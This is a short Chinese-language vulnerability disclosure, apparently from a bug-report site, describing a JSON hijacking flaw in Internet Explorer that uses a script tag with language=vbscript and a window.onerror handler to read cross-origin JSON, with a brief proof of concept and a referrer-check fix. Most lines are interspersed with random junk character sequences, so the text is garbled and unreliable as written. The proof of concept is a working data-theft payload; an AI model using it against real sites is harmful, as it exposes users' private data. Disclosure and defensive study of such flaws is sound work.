简要描述:$ |: A5 x/ n4 v" b' a: o7 ^
' t7 j& e* t3 N" C9 S由于某些资源容器对数据处理不当导致json劫持漏洞.
( Q; j; }- W: ]% A: b详细说明:
! M% @! ]2 P! x% c8 X由于ie支持vbscript,所以script元素可以指定成vbscript语言:
( m: K0 r& D D4 m<script language=vbscript></script>
; ], h' X; [" s8 Z7 o+ T! c! f9 x
! W& N* {& ~8 x7 P6 g |% r. V, y$ ]当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.& q. }; |8 d; \ e
漏洞证明:* v0 g p0 z/ D6 ^
<script>( f3 b' P2 E- I1 B
window.onerror=function(_){4 @1 n7 ^" K# S! I
alert(_)
8 }& J8 p" c0 \2 t* n}# |8 A8 C; X& k& h7 Q, R# f
</script> R2 }9 r9 W! L2 S/ P
<script language=vbscript src=1.json></script>
/ G5 _) C1 a- w - g. o- I' K+ ?' @* Y+ [
, I! K( X8 U0 h) o3 X9 p
1.json:
! ~6 o3 ]) V4 _6 q) P9 r4 o[{"name":"sogili","age":19}]7 l! C4 ?; S$ _+ V9 S
修复方案:) B9 c, t' ~2 s) P1 {* W9 i. {
网站业务对于这个问题可以通过验证referrer是否为同源来防御 |